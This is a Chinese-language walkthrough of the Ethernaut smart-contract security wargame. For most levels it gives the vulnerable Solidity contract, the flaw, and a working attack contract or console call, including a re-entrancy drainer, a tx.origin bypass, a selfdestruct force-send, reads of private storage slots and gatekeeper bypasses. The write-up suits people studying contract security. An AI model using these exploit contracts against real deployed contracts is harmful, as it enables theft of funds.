ethernaut初探

想正经入门链了 先把这个 playground 做一下

Fallback

这个题有两个需求

获得这个合约的所有权

把他的余额减到 0

再看合约内容

Copy
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

Copy
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}

这两个函数能控制 owner 的归属 可以先给 contribute 交易一些 ether 使 contribution 大于 0 再调用 receive 交易就能获取 owner 了

receive 函数是 sol 里的 fallback 函数 在外部调用了不存在的方法时被触发

所以在 remix 里设置好要发送的 wei 数量 点下面的 low level interaction 里发送一笔空交易就行了

这样就成功的把 owner 变成了我们自己

然后调用 withdraw 函数提取所有 balance 就满足了需求

Fallout

要求还是 getowner

Copy
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

这个函数直接提供了更改 owner 的方法 调用就行

Coin Flip

这是一个掷硬币的游戏，你需要连续的猜对结果。完成这一关，你需要通过你的超能力来连续猜对十次。

Copy
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}

注意到有一个 revert 函数 它会触发回退 把这次交易取消掉 但是这里还用不到

这里判断正反面的方法是 blockValue / FACTOR == 1 ? true : false 所以可以把这个计算提前进行 并把结果代入

Copy
CoinFlip public coinFlipContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _coinFlipContract) public{
coinFlipContract = CoinFlip(_coinFlipContract);
}
function guessFlip() public {

uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue/FACTOR;
bool guess = coinFlip == 1 ? true : false;

coinFlipContract.flip(guess);
}
}

这样就能百分百猜中 调用 10 次就可以了

Telephone

Copy

contract Telephone {

address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

要求绕过一个 tx.origin != msg.sender

tx.origin 是发出请求的地址 msg.sender 是调用合约的地址

所以可以写一个第三方合约 通过这个合约调用目标合约来绕过限制 获取 owner

比如

Copy
contract attacker {
Telephone telephone;
constructor(address _contractaddr){
telephone = Telephone(_contractaddr);
}
function attack(address _owner) public{
telephone.changeOwner(_owner);
}
}

这样就拿到了控制权

Token

这个合约基本实现了一个能交易的代币

其中的 transfer 没有使用 safemath，可能出现运算的溢出

Copy
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

比如我现在有 20 个代币，我给一个随机地址发送 22 个，我的代币数量就会溢出变得极大

like this

Delegation

Copy

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

题目实际暴露出来的是 delegation 这个合约 他会把 delegate 这个函数的请求通过 delegatecall 转发进去

目标地址的代码在调用合约的上下文中执行， msg.sender 和msg.value 的值不会改变。这意味着合约在运行时可以动态地从不同的地址加载代码。存储、当前地址和余额仍然指的是调用的合约，只是代码是从被调用的地址中提取的。

所以可以先编码出 pwn 函数的 data 直接把这个 data 在转账时传进去 这样就能通过 fallback 转发访问到 pwn 来修改 owner 了

Force

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

?

The goal of this level is to make the balance of the contract greater than zero.

这个合约没有实现了 payable 的函数 也没有 receive 或者 fallback 所以不能直接转账

对于一个合约来说 有这几种方法实现对其转账

合约至少实现了一个 payable 函数，然后在调用函数的时候带 eth

合约实现了一个 recevie 函数

合约实现了一个 fallback 函数

通过 selfdestruct ()

通过 miner 的奖励获得 eth

selfdestruct 函数会使一个合约自毁 然后把合约地址内的余额强制转账到目标地址

显然这里只能使用 selfdestruct 函数实现强制转账 那就编写一个攻击合约

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract attacker{
function attack(address payable _addr) public payable {
selfdestruct(_addr);
}
}

这样在攻击的时候附加转账即可

Vault

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

这里需要猜出 password 的值 我觉得这个可能和 re 很像 能直接反编译出来

通过反编译发现 password 存放在这个合约的 slot1 中 可以通过 web3.eth.getStorageAt ("0xc0d3b189eDa39e0825D61413bDE0B34db919d580",1) 直接访问到密码 把它输入进 unlock 即可

King

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

感觉是要把 prize 放到 uint 的最大 使他即将溢出 就能防止 msg 的 value 比 prize 大了

但是 uint 的最大是 2^256-1 不知道这是多少的 eth 直接传了一个过去

好 吃了我一个 ether 而且没有成功

看了下题解 需要再调用这笔交易之后 revert 掉

Copy
contract BadKing {
King public king = King(YOUR_LEVEL_ADDR_HERE);

// Create a malicious contract and seed it with some Ethers
function BadKing() public payable {
}

// This should trigger King fallback(), making this contract the king
function becomeKing() public {
address(king).call.value(1000000000000000000).gas(4000000)();
}

// This function fails "king.transfer" trx from Ethernaut
function() external payable {
revert("haha you fail");
}
}

已经没钱了 之后再做吧

Re-entrancy

题目是经典的重入攻击

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

(bool result,) = msg.sender.call {value:_amount}(""); 这一行已经执行了转账操作 但是在 balances [msg.sender] -= _amount; 才执行记账

所以写出这样一个 attack 合约

Copy
contract attacker{
Reentrance cont;
uint public targetBalance;
constructor(address payable addr){
cont = Reentrance(addr);
targetBalance = address(cont).balance;
}
function attack() public payable{
cont.donate{value:targetBalance}(address(this));
withdraw();
}
fallback() external payable{
withdraw();
}
function withdraw() public{
cont.withdraw(targetBalance);
}

}

他就会循环取现 全部提取出来

Elevator

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}

contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

要求是让 top 为 true 看起来很简单 让一个函数第一次调用结果是 false 第二次为 true 就行了

响应的攻击合约

Copy
contract Building{
uint public isused;
constructor(){
isused = 0;
}
function isLastFloor(uint floor) external returns (bool){
if(isused == 0){
isused++;
return false;
} else{
return true;
}
}
function useElevator(address addr) public{
Elevator elev = Elevator(addr);
elev.goTo(1);
}
}

Privacy

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

要从 storage 中找到 data 并读取 和上面的 vault 一样 先反编译 bydmumbai 网络反编译 b 用没有 用 jeb 反编译看到 data 存在在 storage5 位置

web3.eth.getStorageAt (contract.address,5) 查看数据拿到密钥 key 即为 data 的前一半 bytes16

Gatekeeper One

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

目标是过三关 拿下参赛者

先看第一关 用一个合约调用可以绕过

第二关要求 gasleft 的特殊值

典型的 ctf 思维👍👍👍

爆！

第三关要求一个类型转换

简单来说就是构造了一个对自己地址的掩码 要求对应位一致

最后调一个合适的编译器版本编译之后打就行了

GateKeeperTwo

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

第一关：经典msg.sender != tx.origin

第二关要求 extcodesize (caller ())=0 根据文档

The idea is straightforward: if an address contains code, it's not an EOA but a contract account. However, a contract does not have source code available during construction. This means that while the constructor is running, it can make calls to other contracts, but extcodesize for its address returns zero.

也就是说在构造函数中调用其他合约 就能满足这个要求

第三关要求攻击合约地址和 gatekey 异或后等于 uint64 最大值

uint64 的最大值是全为 1 的一个值，因此让uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) 和全为一的 0xFFFFFFFFFFFFFFFFFFFFF 异或就能得到这个 key

最终攻击合约为

Copy
contract gate2 {
constructor(address _gatekeeper){
GatekeeperTwo gate = GatekeeperTwo(_gatekeeper);
bytes8 gatekey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
gate.enter(gatekey);
}
}

Naught Coin

Copy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

构造了一个 erc20 的代币，并重写了 transfer 函数 添加了时间锁

那就要使用 transferFrom 函数转走玩家账户里的代币

用contract.approve 批准 transferFrom

这里 approve 的参数应该是自己的钱包

然后再用await contract.transferFrom 转走所有代币即可